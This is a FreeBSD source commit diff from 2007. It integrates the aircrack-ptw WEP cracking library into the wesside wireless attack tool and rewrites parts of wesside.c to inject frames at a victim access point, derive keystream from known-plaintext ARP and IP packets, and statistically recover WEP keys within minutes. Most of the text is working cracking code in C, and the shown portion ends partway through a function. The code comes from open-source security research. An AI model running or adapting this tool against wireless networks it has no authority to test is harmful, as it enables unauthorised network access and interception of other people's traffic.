Due to the recent "aircrack-ptw" WEP cracking discovery, I thought

that it might be worth fixing a couple of bugs in wesside and making
it use the new cracking technique.  I think this enhancement makes
the tool quite usable.  It is possible to recover keys in only a
couple of minutes.

* Fix ACKs.  Firmware will ACK data [just set the MAC addr correctly].
* Fix RX routines.  Process all packets read().
* Use aircrack-ptw [built-in] rather than external aircrack.
* Log data in pcap format so that it may be used by others [e.g. aircrack-ng].

Submitted by:	Andrea Bittau <a.bittau@cs.ucl.ac.uk>
This commit is contained in:
Sam Leffler 2007-04-08 21:18:15 +00:00
parent f27a14650f
commit 619f257be1
4 changed files with 909 additions and 163 deletions

View File

@ -6,5 +6,6 @@ DPADD= ${LIBZ}
LDADD= -lz
CFLAGS=-g
NO_MAN=
SRCS=wesside.c aircrack-ptw-lib.c
.include <bsd.prog.mk>

View File

@ -0,0 +1,488 @@
/*-
* Copyright (c) 2007, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* $FreeBSD$
*/
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include "aircrack-ptw-lib.h"
#define n PTW_n
#define CONTROLSESSIONS PTW_CONTROLSESSIONS
#define KEYHSBYTES PTW_KEYHSBYTES
#define KSBYTES PTW_KSBYTES
#define IVBYTES PTW_IVBYTES
#define TESTBYTES 6
// Internal state of rc4
typedef struct {
uint8_t i;
uint8_t j;
uint8_t s[n];
} rc4state;
// Helper structures for sorting
typedef struct {
int keybyte;
uint8_t value;
int distance;
} sorthelper;
typedef struct {
int keybyte;
double difference;
} doublesorthelper;
// The rc4 initial state, the idendity permutation
static const uint8_t rc4initial[] =
{0,1,2,3,4,5,6,7,8,9,10,
11,12,13,14,15,16,17,18,19,20,
21,22,23,24,25,26,27,28,29,30,
31,32,33,34,35,36,37,38,39,40,
41,42,43,44,45,46,47,48,49,50,
51,52,53,54,55,56,57,58,59,60,
61,62,63,64,65,66,67,68,69,70,
71,72,73,74,75,76,77,78,79,80,
81,82,83,84,85,86,87,88,89,90,
91,92,93,94,95,96,97,98,99,100,
101,102,103,104,105,106,107,108,109,110,
111,112,113,114,115,116,117,118,119,120,
121,122,123,124,125,126,127,128,129,130,
131,132,133,134,135,136,137,138,139,140,
141,142,143,144,145,146,147,148,149,150,
151,152,153,154,155,156,157,158,159,160,
161,162,163,164,165,166,167,168,169,170,
171,172,173,174,175,176,177,178,179,180,
181,182,183,184,185,186,187,188,189,190,
191,192,193,194,195,196,197,198,199,200,
201,202,203,204,205,206,207,208,209,210,
211,212,213,214,215,216,217,218,219,220,
221,222,223,224,225,226,227,228,229,230,
231,232,233,234,235,236,237,238,239,240,
241,242,243,244,245,246,247,248,249,250,
251,252,253,254,255};
// Values for p_correct_i
static const double eval[] = {
0.00534392069257663,
0.00531787585068872,
0.00531345769225911,
0.00528812219217898,
0.00525997750378221,
0.00522647312237696,
0.00519132541143668,
0.0051477139367225,
0.00510438884847959,
0.00505484662057323,
0.00500502783556246,
0.00495094196451801,
0.0048983441590402};
// For sorting
static int compare(const void * ina, const void * inb) {
PTW_tableentry * a = (PTW_tableentry * )ina;
PTW_tableentry * b = (PTW_tableentry * )inb;
if (a->votes > b->votes) {
return -1;
} else if (a->votes == b->votes) {
return 0;
} else {
return 1;
}
}
// For sorting
static int comparedoublesorthelper(const void * ina, const void * inb) {
doublesorthelper * a = (doublesorthelper * )ina;
doublesorthelper * b = (doublesorthelper * )inb;
if (a->difference > b->difference) {
return 1;
} else if (a->difference == b->difference) {
return 0;
} else {
return -1;
}
}
// RC4 key setup
static void rc4init ( uint8_t * key, int keylen, rc4state * state) {
int i;
int j;
uint8_t tmp;
memcpy(state->s, &rc4initial, n);
j = 0;
for (i = 0; i < n; i++) {
j = (j + state->s[i] + key[i % keylen]) % n;
tmp = state->s[i];
state->s[i] = state->s[j];
state->s[j] = tmp;
}
state->i = 0;
state->j = 0;
}
// RC4 key stream generation
static uint8_t rc4update(rc4state * state) {
uint8_t tmp;
uint8_t k;
state->i++;
state->j += state->s[state->i];
tmp = state->s[state->i];
state->s[state->i] = state->s[state->j];
state->s[state->j] = tmp;
k = state->s[state->i] + state->s[state->j];
return state->s[k];
}
// For sorting
static int comparesorthelper(const void * ina, const void * inb) {
sorthelper * a = (sorthelper * ) ina;
sorthelper * b = (sorthelper * ) inb;
if (a->distance > b->distance) {
return 1;
} else if (a->distance == b->distance) {
return 0;
} else {
return -1;
}
}
/*
* Guess the values for sigma_i
* iv - IV which was used for this packet
* keystream - keystream recovered
* result - buffer for the values of sigma_i
* kb - how many keybytes should be guessed
*/
static void guesskeybytes(uint8_t * iv, uint8_t * keystream, uint8_t * result, int kb) {
uint8_t state[n];
uint8_t j = 0;
uint8_t tmp;
int i;
int jj = IVBYTES;
uint8_t ii;
uint8_t s = 0;
memcpy(state, rc4initial, n);
for (i = 0; i < IVBYTES; i++) {
j += state[i] + iv[i];
tmp = state[i];
state[i] = state[j];
state[j] = tmp;
}
for (i = 0; i < kb; i++) {
tmp = jj - keystream[jj-1];
ii = 0;
while(tmp != state[ii]) {
ii++;
}
s += state[jj];
ii -= (j+s);
result[i] = ii;
jj++;
}
return;
}
/*
* Is a guessed key correct?
*/
static int correct(PTW_attackstate * state, uint8_t * key, int keylen) {
int i;
int j;
uint8_t keybuf[PTW_KSBYTES];
rc4state rc4state;
for (i = 0; i < state->sessions_collected; i++) {
memcpy(&keybuf[IVBYTES], key, keylen);
memcpy(keybuf, state->sessions[i].iv, IVBYTES);
rc4init(keybuf, keylen+IVBYTES, &rc4state);
for (j = 0; j < TESTBYTES; j++) {
if ((rc4update(&rc4state) ^ state->sessions[i].keystream[j]) != 0) {
return 0;
}
}
}
return 1;
}
/*
* Calculate the squaresum of the errors for both distributions
*/
static void getdrv(PTW_tableentry orgtable[][n], int keylen, double * normal, double * ausreiser) {
int i,j;
int numvotes = 0;
double e;
double e2;
double emax;
double help = 0.0;
double maxhelp = 0;
double maxi = 0;
for (i = 0; i < n; i++) {
numvotes += orgtable[0][i].votes;
}
e = numvotes/n;
for (i = 0; i < keylen; i++) {
emax = eval[i] * numvotes;
e2 = ((1.0 - eval[i])/255.0) * numvotes;
normal[i] = 0;
ausreiser[i] = 0;
maxhelp = 0;
maxi = 0;
for (j = 0; j < n; j++) {
if (orgtable[i][j].votes > maxhelp) {
maxhelp = orgtable[i][j].votes;
maxi = j;
}
}
for (j = 0; j < n; j++) {
if (j == maxi) {
help = (1.0-orgtable[i][j].votes/emax);
} else {
help = (1.0-orgtable[i][j].votes/e2);
}
help = help*help;
ausreiser[i] += help;
help = (1.0-orgtable[i][j].votes/e);
help = help*help;
normal[i] += help;
}
}
}
/*
* Guess a single keybyte
*/
static int doRound(PTW_tableentry sortedtable[][n], int keybyte, int fixat, uint8_t fixvalue, int * searchborders, uint8_t * key, int keylen, PTW_attackstate * state, uint8_t sum, int * strongbytes) {
int i;
uint8_t tmp;
if (keybyte == keylen) {
return correct(state, key, keylen);
} else if (strongbytes[keybyte] == 1) {
// printf("assuming byte %d to be strong\n", keybyte);
tmp = 3 + keybyte;
for (i = keybyte-1; i >= 1; i--) {
tmp += 3 + key[i] + i;
key[keybyte] = 256-tmp;
if(doRound(sortedtable, keybyte+1, fixat, fixvalue, searchborders, key, keylen, state, (256-tmp+sum)%256, strongbytes) == 1) {
printf("hit with strongbyte for keybyte %d\n", keybyte);
return 1;
}
}
return 0;
} else if (keybyte == fixat) {
key[keybyte] = fixvalue-sum;
return doRound(sortedtable, keybyte+1, fixat, fixvalue, searchborders, key, keylen, state, fixvalue, strongbytes);
} else {
for (i = 0; i < searchborders[keybyte]; i++) {
key[keybyte] = sortedtable[keybyte][i].b - sum;
if (doRound(sortedtable, keybyte+1, fixat, fixvalue, searchborders, key, keylen, state, sortedtable[keybyte][i].b, strongbytes) == 1) {
return 1;
}
}
return 0;
}
}
/*
* Do the actual computation of the key
*/
static int doComputation(PTW_attackstate * state, uint8_t * key, int keylen, PTW_tableentry table[][n], sorthelper * sh2, int * strongbytes, int keylimit) {
int i,j;
int choices[KEYHSBYTES];
int prod;
int fixat;
int fixvalue;
for (i = 0; i < keylen; i++) {
if (strongbytes[i] == 1) {
choices[i] = i;
} else {
choices[i] = 1;
}
}
i = 0;
prod = 0;
fixat = -1;
fixvalue = 0;
while(prod < keylimit) {
if (doRound(table, 0, fixat, fixvalue, choices, key, keylen, state, 0, strongbytes) == 1) {
// printf("hit with %d choices\n", prod);
return 1;
}
choices[sh2[i].keybyte]++;
fixat = sh2[i].keybyte;
// printf("choices[%d] is now %d\n", sh2[i].keybyte, choices[sh2[i].keybyte]);
fixvalue = sh2[i].value;
prod = 1;
for (j = 0; j < keylen; j++) {
prod *= choices[j];
}
do {
i++;
} while (strongbytes[sh2[i].keybyte] == 1);
}
return 0;
}
/*
* Guess which key bytes could be strong and start actual computation of the key
*/
int PTW_computeKey(PTW_attackstate * state, uint8_t * keybuf, int keylen, int testlimit) {
int strongbytes[KEYHSBYTES];
double normal[KEYHSBYTES];
double ausreisser[KEYHSBYTES];
doublesorthelper helper[KEYHSBYTES];
int simple, onestrong, twostrong;
int i,j;
onestrong = (testlimit/10)*2;
twostrong = (testlimit/10)*1;
simple = testlimit - onestrong - twostrong;
PTW_tableentry (*table)[n] = alloca(sizeof(PTW_tableentry) * n * keylen);
if (table == NULL) {
printf("could not allocate memory\n");
exit(-1);
}
memcpy(table, state->table, sizeof(PTW_tableentry) * n * keylen);
// now, sort the table
for (i = 0; i < keylen; i++) {
qsort(&table[i][0], n, sizeof(PTW_tableentry), &compare);
strongbytes[i] = 0;
}
sorthelper (* sh)[n-1] = alloca(sizeof(sorthelper) * (n-1) * keylen);
if (sh == NULL) {
printf("could not allocate memory\n");
exit(-1);
}
for (i = 0; i < keylen; i++) {
for (j = 1; j < n; j++) {
sh[i][j-1].distance = table[i][0].votes - table[i][j].votes;
sh[i][j-1].value = table[i][j].b;
sh[i][j-1].keybyte = i;
}
}
qsort(sh, (n-1)*keylen, sizeof(sorthelper), &comparesorthelper);
if (doComputation(state, keybuf, keylen, table, (sorthelper *) sh, strongbytes, simple)) {
return 1;
}
// Now one strong byte
getdrv(state->table, keylen, normal, ausreisser);
for (i = 0; i < keylen-1; i++) {
helper[i].keybyte = i+1;
helper[i].difference = normal[i+1] - ausreisser[i+1];
}
qsort(helper, keylen-1, sizeof(doublesorthelper), &comparedoublesorthelper);
strongbytes[helper[0].keybyte] = 1;
if (doComputation(state, keybuf, keylen, table, (sorthelper *) sh, strongbytes, onestrong)) {
return 1;
}
// two strong bytes
strongbytes[helper[1].keybyte] = 1;
if (doComputation(state, keybuf, keylen, table, (sorthelper *) sh, strongbytes, twostrong)) {
return 1;
}
return 0;
}
/*
* Add a new session to the attack
* state - state of attack
* iv - IV used in the session
* keystream - recovered keystream from the session
*/
int PTW_addsession(PTW_attackstate * state, uint8_t * iv, uint8_t * keystream) {
int i;
int il;
int ir;
uint8_t buf[PTW_KEYHSBYTES];
i = (iv[0] << 16) | (iv[1] << 8) | (iv[2]);
il = i/8;
ir = 1 << (i%8);
if ((state->seen_iv[il] & ir) == 0) {
state->packets_collected++;
state->seen_iv[il] |= ir;
guesskeybytes(iv, keystream, buf, PTW_KEYHSBYTES);
for (i = 0; i < KEYHSBYTES; i++) {
state->table[i][buf[i]].votes++;
}
if (state->sessions_collected < CONTROLSESSIONS) {
memcpy(state->sessions[state->sessions_collected].iv, iv, IVBYTES);
memcpy(state->sessions[state->sessions_collected].keystream, keystream, KSBYTES);
state->sessions_collected++;
}
return 1;
} else {
return 0;
}
}
/*
* Allocate a new attackstate
*/
PTW_attackstate * PTW_newattackstate() {
int i,k;
PTW_attackstate * state = NULL;
state = malloc(sizeof(PTW_attackstate));
if (state == NULL) {
return NULL;
}
bzero(state, sizeof(PTW_attackstate));
for (i = 0; i < PTW_KEYHSBYTES; i++) {
for (k = 0; k < n; k++) {
state->table[i][k].b = k;
}
}
return state;
}
/*
* Free an allocated attackstate
*/
void PTW_freeattackstate(PTW_attackstate * state) {
free(state);
return;
}

View File

@ -0,0 +1,83 @@
/*-
* Copyright (c) 2007, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* $FreeBSD$
*/
#include <stdint.h>
// Number of bytes we use for our table of seen IVs, this is (2^24)/8
#define PTW_IVTABLELEN 2097152
// How many sessions do we use to check if a guessed key is correct
// 10 seems to be a reasonable choice
#define PTW_CONTROLSESSIONS 10
// The maximum possible length of the main key, 13 is the maximum for a 104 bit key
#define PTW_KEYHSBYTES 13
// How long the IV is, 3 is the default value for WEP
#define PTW_IVBYTES 3
// How many bytes of a keystream we collect, 16 are needed for a 104 bit key
#define PTW_KSBYTES 16
// The MAGIC VALUE!!
#define PTW_n 256
// We use this to keep track of the outputs of A_i
typedef struct {
// How often the value b appeard as an output of A_i
int votes;
uint8_t b;
} PTW_tableentry;
// A recovered session
typedef struct {
// The IV used in this session
uint8_t iv[PTW_IVBYTES];
// The keystream used in this session
uint8_t keystream[PTW_KSBYTES];
} PTW_session;
// The state of an attack
// You should usually never modify these values manually
typedef struct {
// How many unique packets or IVs have been collected
int packets_collected;
// Table to check for duplicate IVs
uint8_t seen_iv[PTW_IVTABLELEN];
// How many sessions for checking a guessed key have been collected
int sessions_collected;
// The actual recovered sessions
PTW_session sessions[PTW_CONTROLSESSIONS];
// The table with votes for the keybytesums
PTW_tableentry table[PTW_KEYHSBYTES][PTW_n];
} PTW_attackstate;
PTW_attackstate * PTW_newattackstate();
void PTW_freeattackstate(PTW_attackstate *);
int PTW_addsession(PTW_attackstate *, uint8_t *, uint8_t *);
int PTW_computeKey(PTW_attackstate *, uint8_t *, int, int);

View File

@ -43,6 +43,9 @@
#include <signal.h>
#include <stdarg.h>
#include <err.h>
#include <pcap.h>
#include "aircrack-ptw-lib.h"
#define FIND_VICTIM 0
#define FOUND_VICTIM 1
@ -104,11 +107,15 @@ struct wep_log {
unsigned char iv[3];
} weplog;
#define LINKTYPE_IEEE802_11 105
#define TCPDUMP_MAGIC 0xA1B2C3D4
unsigned char* floodip = 0;
unsigned short floodport = 6969;
unsigned short floodsport = 53;
unsigned char* netip = 0;
int netip_arg = 0;
unsigned char* rtrmac = 0;
@ -118,6 +125,8 @@ unsigned char myip[16] = "192.168.0.123";
int bits = 0;
int ttl_val = 0;
PTW_attackstate *ptw;
unsigned char *victim_mac = 0;
int ack_timeout = 100*1000;
@ -125,10 +134,14 @@ int ack_timeout = 100*1000;
#define ARPLEN (8+ 8 + 20)
unsigned char arp_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
unsigned char ip_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x00";
#define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00"
#define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06")
#define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00")
#define MCAST_PREF "\x01\x00\x5e\x00\x00"
#define WEP_FILE "wep.log"
#define WEP_FILE "wep.cap"
#define KEY_FILE "key.log"
#define PRGA_FILE "prga.log"
unsigned int min_prga = 128;
@ -141,12 +154,14 @@ unsigned int min_prga = 128;
*/
#define CRACK_LOCAL_CMD "../aircrack/aircrack"
#define CRACK_INSTALL_CMD "/usr/local/bin/aircrack"
int thresh_incr = 100000;
#define INCR 30000
int thresh_incr = INCR;
#define MAGIC_TTL_PAD 69
int crack_dur = 60;
int wep_thresh = 100000;
int wep_thresh = INCR;
int crack_pid = 0;
struct timeval crack_start;
struct timeval real_start;
@ -248,7 +263,7 @@ void check_key() {
int rd;
struct timeval now;
fd = open("key.log", O_RDONLY);
fd = open(KEY_FILE, O_RDONLY);
if (fd == -1) {
return;
@ -320,6 +335,31 @@ void set_chan(int c) {
chaninfo.chan = c;
}
void set_if_mac(unsigned char* mac, unsigned char *name) {
int s;
struct ifreq ifr;
s = socket(PF_INET, SOCK_DGRAM, 0);
if (s == -1) {
perror("socket()");
exit(1);
}
memset(&ifr, 0, sizeof(ifr));
strcpy(ifr.ifr_name, name);
ifr.ifr_addr.sa_family = AF_LINK;
ifr.ifr_addr.sa_len = 6;
memcpy(ifr.ifr_addr.sa_data, mac, 6);
if (ioctl(s, SIOCSIFLLADDR, &ifr) == -1) {
perror("ioctl(SIOCSIFLLADDR)");
exit(1);
}
close(s);
}
void setup_if(char *dev) {
int s;
struct ifreq ifr;
@ -334,6 +374,8 @@ void setup_if(char *dev) {
time_print("Setting up %s... ", dev);
fflush(stdout);
set_if_mac(mymac, dev);
s = socket(PF_INET, SOCK_DGRAM, 0);
if (s == -1) {
@ -516,7 +558,7 @@ void send_frame(int tx, unsigned char* buf, int len) {
time_print("ERROR Max retransmists for (%d bytes):\n",
lastlen);
hexdump(&lame[0], lastlen);
exit(1);
// exit(1);
}
len = lastlen;
// printf("Warning doing a retransmit...\n");
@ -752,28 +794,8 @@ int get_victim_ssid(struct ieee80211_frame* wh, int len) {
return 0;
}
// XXX: acks don't work for now... too slow!
void send_ack(int tx) {
unsigned char buf[64];
struct ieee80211_frame* wh;
return;
wh = (struct ieee80211_frame*) &buf[0];
memset(buf, 0, sizeof(buf));
wh->i_fc[0] |= IEEE80211_FC0_TYPE_CTL | IEEE80211_FC0_SUBTYPE_ACK;
memcpy(wh->i_addr1, victim.bss, 6);
inject(tx, buf, 10);
#if 0
{
struct timeval tv;
gettimeofday(&tv, NULL);
printf("sent ack %lu.%lu\n", tv.tv_sec, tv.tv_usec);
}
#endif
/* firmware acks */
}
void do_llc(unsigned char* buf, unsigned short type) {
@ -1209,26 +1231,28 @@ void decrypt_arpreq(struct ieee80211_frame* wh, int rd) {
time_print("Got ARP request from (%s)\n", mac2str(wh->i_addr3));
}
void log_wep(unsigned char* body, int len) {
unsigned char log[5];
void log_wep(struct ieee80211_frame* wh, int len) {
int rd;
struct pcap_pkthdr pkh;
struct timeval tv;
unsigned char *body = (unsigned char*) (wh+1);
if (body[3] != 0) {
time_print("Key index=%x!!\n", body[3]);
exit(1);
}
memset(&pkh, 0, sizeof(pkh));
pkh.caplen = pkh.len = len;
if (gettimeofday(&tv, NULL) == -1)
err(1, "gettimeofday()");
pkh.ts = tv;
if (write(weplog.fd, &pkh, sizeof(pkh)) != sizeof(pkh))
err(1, "write()");
memcpy(log, body, 3);
memcpy(&log[3], &body[4], 2);
rd = write(weplog.fd, log, sizeof(log));
rd = write(weplog.fd, wh, len);
if (rd == -1) {
perror("write()");
exit(1);
}
if (rd != sizeof(log)) {
time_print("short write %d out of %d\n", rd, sizeof(log));
if (rd != len) {
time_print("short write %d out of %d\n", rd, len);
exit(1);
}
@ -1337,10 +1361,107 @@ void try_dictionary(struct ieee80211_frame* wh, int len) {
}
}
int is_arp(struct ieee80211_frame *wh, int len)
{
int arpsize = 8 + sizeof(struct arphdr) + 10*2;
if (len == arpsize || len == 54)
return 1;
return 0;
}
void *get_sa(struct ieee80211_frame *wh)
{
if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
return wh->i_addr3;
else
return wh->i_addr2;
}
void *get_da(struct ieee80211_frame *wh)
{
if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
return wh->i_addr1;
else
return wh->i_addr3;
}
int known_clear(void *clear, struct ieee80211_frame *wh, int len)
{
unsigned char *ptr = clear;
/* IP */
if (!is_arp(wh, len)) {
unsigned short iplen = htons(len - 8);
// printf("Assuming IP %d\n", len);
len = sizeof(S_LLC_SNAP_IP) - 1;
memcpy(ptr, S_LLC_SNAP_IP, len);
ptr += len;
#if 1
len = 2;
memcpy(ptr, "\x45\x00", len);
ptr += len;
memcpy(ptr, &iplen, len);
ptr += len;
#endif
len = ptr - ((unsigned char*)clear);
return len;
}
// printf("Assuming ARP %d\n", len);
/* arp */
len = sizeof(S_LLC_SNAP_ARP) - 1;
memcpy(ptr, S_LLC_SNAP_ARP, len);
ptr += len;
/* arp hdr */
len = 6;
memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len);
ptr += len;
/* type of arp */
len = 2;
if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0)
memcpy(ptr, "\x00\x01", len);
else
memcpy(ptr, "\x00\x02", len);
ptr += len;
/* src mac */
len = 6;
memcpy(ptr, get_sa(wh), len);
ptr += len;
len = ptr - ((unsigned char*)clear);
return len;
}
void add_keystream(struct ieee80211_frame* wh, int rd)
{
unsigned char clear[1024];
int dlen = rd - sizeof(struct ieee80211_frame) - 4 - 4;
int clearsize;
unsigned char *body = (unsigned char*) (wh+1);
int i;
clearsize = known_clear(clear, wh, dlen);
if (clearsize < 16)
return;
for (i = 0; i < 16; i++)
clear[i] ^= body[4+i];
PTW_addsession(ptw, body, clear);
}
void got_wep(struct ieee80211_frame* wh, int rd) {
int bodylen;
int dlen;
unsigned char *clear;
unsigned char clear[1024];
int clearsize;
unsigned char *body;
@ -1355,7 +1476,12 @@ void got_wep(struct ieee80211_frame* wh, int rd) {
( (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
memcmp(wh->i_addr2, mymac, 6) != 0) ) {
log_wep(body, dlen + 8);
if (body[3] != 0) {
time_print("Key index=%x!!\n", body[3]);
exit(1);
}
log_wep(wh, rd);
add_keystream(wh, rd);
// try to decrypt too
try_dictionary(wh, rd);
@ -1445,17 +1571,8 @@ void got_wep(struct ieee80211_frame* wh, int rd) {
return;
}
time_print("Datalen=%d Assuming: ", dlen);
if (dlen == ARPLEN || dlen == PADDED_ARPLEN) {
clear = arp_clear;
clearsize = sizeof(arp_clear) - 1;
printf("ARP\n");
} else {
clear = ip_clear;
clearsize = sizeof(ip_clear) - 1;
printf("IP\n");
}
clearsize = known_clear(clear, wh, dlen);
time_print("Datalen %d Known clear %d\n", dlen, clearsize);
set_prga(body, &body[4], clear, clearsize);
}
@ -1495,58 +1612,12 @@ void stuff_for_net(struct ieee80211_frame* wh, int rd) {
}
void anal(unsigned char* buf, int rd, int tx) { // yze
#define BIT(n) (1<<(n))
struct bpf_hdr* bpfh = (struct bpf_hdr*) buf;
struct ieee80211_radiotap_header* rth;
struct ieee80211_frame* wh;
struct ieee80211_frame* wh = (struct ieee80211_frame *) buf;
int type,stype;
static int lastseq = -1;
int seq;
unsigned short *seqptr;
int for_us = 0;
uint32_t present;
uint8_t rflags;
// BPF
rd -= bpfh->bh_hdrlen;
if (bpfh->bh_caplen != bpfh->bh_datalen) {
time_print("Warning: caplen=%d datalen=%d\n",
bpfh->bh_caplen, bpfh->bh_datalen);
}
if (rd != bpfh->bh_caplen) {
#if 0
// XXX
printf("Error: rd=%d caplen=%d\n", rd, bpfh->bh_caplen);
hexdump(buf, rd+bpfh->bh_hdrlen);
// exit(1);
return;
#endif
// XXX what's going on
assert( rd > bpfh->bh_caplen);
rd = bpfh->bh_caplen;
}
// RADIOTAP
rth = (struct ieee80211_radiotap_header*)
((unsigned char*) bpfh + bpfh->bh_hdrlen);
/* check if FCS/CRC is included in packet */
present = le32toh(rth->it_present);
if (present & BIT(IEEE80211_RADIOTAP_FLAGS)) {
if (present & BIT(IEEE80211_RADIOTAP_TSFT))
rflags = ((const uint8_t *)rth)[8];
else
rflags = ((const uint8_t *)rth)[0];
} else
rflags = 0;
/* 802.11 CRC */
if (rflags & IEEE80211_RADIOTAP_F_FCS)
rd -= IEEE80211_CRC_LEN;
// 802.11
wh = (struct ieee80211_frame*)
((unsigned char*)rth + rth->it_len);
rd -= rth->it_len;
if (rd < 1) {
time_print("rd=%d\n", rd);
@ -1606,7 +1677,6 @@ void anal(unsigned char* buf, int rd, int tx) { // yze
stuff_for_net(wh, rd);
}
}
#undef BIT
}
void do_arp(unsigned char* buf, unsigned short op,
@ -1990,13 +2060,15 @@ void can_write(int tx) {
char* ptr;
strcpy(arp_ip, netip);
ptr = strchr(arp_ip, '.');
assert(ptr);
ptr = strchr(++ptr, '.');
assert(ptr);
ptr = strchr(++ptr, '.');
assert(ptr);
strcpy(++ptr, "1");
if (!netip_arg) {
ptr = strchr(arp_ip, '.');
assert(ptr);
ptr = strchr(++ptr, '.');
assert(ptr);
ptr = strchr(++ptr, '.');
assert(ptr);
strcpy(++ptr, "1");
}
if (gettimeofday(&arpsend, NULL) == -1)
err(1, "gettimeofday()");
@ -2030,6 +2102,51 @@ void can_write(int tx) {
}
}
void save_key(unsigned char *key, int len)
{
char tmp[16];
char k[32];
int fd;
int rd;
k[0] = 0;
while (len--) {
sprintf(tmp, "%.2X", *key++);
strcat(k, tmp);
if (len)
strcat(k, ":");
}
fd = open(KEY_FILE, O_WRONLY | O_CREAT | 0644);
if (fd == -1)
err(1, "open()");
printf("\nKey: %s\n", k);
rd = write(fd, k, strlen(k));
if (rd == -1)
err(1, "write()");
if (rd != strlen(k))
errx(1, "write %d/%d\n", rd, strlen(k));
close(fd);
}
#define KEYLIMIT (1000000)
int do_crack(void)
{
unsigned char key[PTW_KEYHSBYTES];
if(PTW_computeKey(ptw, key, 13, KEYLIMIT) == 1) {
save_key(key, 13);
return 1;
}
if(PTW_computeKey(ptw, key, 5, KEYLIMIT/10) == 1) {
save_key(key, 5);
return 1;
}
return 0;
}
void try_crack() {
if (crack_pid) {
printf("\n");
@ -2049,35 +2166,8 @@ void try_crack() {
// child
if (crack_pid == 0) {
char bitz[16];
char* args[] = { "aircrack", "wep.log", NULL };
char* argb[] = { "aircrack", "-n", bitz, "wep.log", NULL };
char* envp[] = { NULL };
char **arg;
#if 1
if (setsid() == -1)
err(1, "setsid");
#endif
close (1);
close (2);
if (bits > 0) {
snprintf(bitz, sizeof(bitz)-1, "%d", bits);
arg = argb;
}
else
arg = args;
/* NB: try local copy first; then installed dir */
if (execve(CRACK_LOCAL_CMD, arg, envp) == -1) {
if (errno != ENOENT)
err(1, "execve(%s)", CRACK_LOCAL_CMD);
if (execve(CRACK_INSTALL_CMD, arg, envp) == -1)
err(1, "execve(%s)", CRACK_INSTALL_CMD);
}
if (!do_crack())
printf("\nCrack unsuccessful\n");
exit(1);
}
@ -2154,32 +2244,6 @@ void open_tap() {
time_print("Opened tap device: %s\n", tapdev);
}
void set_tap_mac(unsigned char* mac) {
int s;
struct ifreq ifr;
s = socket(PF_INET, SOCK_DGRAM, 0);
if (s == -1) {
perror("socket()");
exit(1);
}
memset(&ifr, 0, sizeof(ifr));
strcpy(ifr.ifr_name, tapdev);
ifr.ifr_addr.sa_family = AF_LINK;
ifr.ifr_addr.sa_len = 6;
memcpy(ifr.ifr_addr.sa_data, mac, 6);
if (ioctl(s, SIOCSIFLLADDR, &ifr) == -1) {
perror("ioctl(SIOCSIFLLADDR)");
exit(1);
}
close(s);
time_print("Set tap MAC to: %s\n", mac2str(mac));
}
void read_tap() {
unsigned char buf[4096];
struct ether_header* eh;
@ -2258,6 +2322,95 @@ int elapsedd(struct timeval *past, struct timeval *now)
return el;
}
static unsigned char *get_80211(unsigned char **data, int *totlen, int *plen)
{
#define BIT(n) (1<<(n))
struct bpf_hdr *bpfh;
struct ieee80211_radiotap_header *rth;
uint32_t present;
uint8_t rflags;
void *ptr;
static int nocrc = 0;
